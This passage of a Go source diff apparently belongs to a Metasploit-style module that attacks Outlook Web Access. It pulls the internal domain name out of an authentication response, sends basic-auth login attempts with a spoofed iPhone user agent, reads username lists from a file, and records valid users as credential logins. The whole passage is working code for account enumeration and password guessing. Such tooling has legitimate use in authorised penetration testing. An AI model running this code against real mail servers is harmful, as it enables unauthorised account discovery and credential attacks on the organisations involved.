+ var internalDomainDecimal []byte + for _, decimalValue := range base64DecodedResp { + if decimalValue == 0 { + continue + } + if decimalValue == 2 { + continueAppending = false + } + if continueAppending == true { + internalDomainDecimal = append(internalDomainDecimal, decimalValue) + } + if decimalValue == 15 { + continueAppending = true + continue + } + } + if outputDomain { + module.LogInfo("Internal Domain: ") + module.LogInfo(string(internalDomainDecimal)) + } + return string(internalDomainDecimal) +} + +func ReportValidUsers(ip string, validUsers []string) { + port := "443" + service := "owa" + protocol := "tcp" + for _, user := range validUsers { + opts := map[string]string{ + "port": port, + "service_name": service, + "address": ip, + "protocol": protocol, + } + module.LogInfo("Loging user: " + user) + module.ReportCredentialLogin(user, "", opts) + } +} + +func WebRequestBasicAuth(URI string, user string, pass string, tr *http.Transport) int { + timeout := time.Duration(45 * time.Second) + client := &http.Client{ + Timeout: timeout, + Transport: tr, + } + req, err := http.NewRequest("GET", URI, nil) + req.Header.Set("User-Agent", "Mozilla/5.0 (iPhone; CPU iPhone OS 11_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1") + req.SetBasicAuth(user, pass) + resp, err := client.Do(req) + if err != nil { + module.LogInfo(fmt.Sprintf("Potential Timeout - %s \n", user)) + module.LogInfo("One of your requests has taken longer than 45 seconds to respond.") + module.LogInfo("Consider lowering amount of threads used for enumeration.") + module.LogError(err.Error()) + } + return resp.StatusCode +} + +func ImportUserList(tempname string) []string { + userFileBytes, err := ioutil.ReadFile(tempname) + if err != nil { + module.LogError(err.Error()) + } + var userFileString = string(userFileBytes) + userArray := strings.Split(userFileString, "\n") + //Delete last unnecessary newline inserted into this slice + userArray = userArray[:len(userArray)-1] + return userArray +}